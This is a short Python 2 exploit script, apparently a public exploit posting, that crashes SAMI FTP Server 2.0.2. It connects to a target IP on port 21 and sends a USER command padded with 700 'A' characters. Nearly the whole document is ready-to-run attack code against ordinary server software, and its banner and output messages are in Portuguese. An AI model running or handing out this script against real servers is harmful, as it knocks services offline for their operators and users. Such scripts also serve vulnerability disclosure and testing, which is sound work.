SAMI FTP Server 2.0.2 Denial Of Service Exploit

#!/usr/bin/python
#
# e-mail: [email protected]
#
# Date: 06/08/2021 - 08 jun
#
# Version Vulnerable: SAMI FTP Server 2.0.2
#
# OS Tested: Windows XP PACK 3 Brazilian e Windows 2000
#

import socket
import sys

if len(sys.argv) != 2:
    print
"#####################################################################"
    print "#
                                                                      #"
    print "#     SAMI FTP Server 2.0.2  - Command 'USER' Denied of Service
                            #"
    print "#
                                                                      #"
    print "#                  Author: Fernando Mengali
                                                     #"
    print "#
                                                                      #"
    print "#                Modo de uso: exploit.py <IP>
                                                    #"
    print "#
                                                                      #"
    print
"#####################################################################"
    sys.exit(1)

target = sys.argv[1]

payload = "\x41"*700

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect = s.connect((target, 21))
    print "[+] Conectado com sucesso"
except:
    print "[-] Falha ao conectar para o servidor..."
    sys.exit(0)
s.recv(1024)
print "[+] Enviando pacote crafted..."
s.send('USER '+payload+' \r\n')
s.recv(1024)
s.send('PASS anonymous \r\n')
s.close()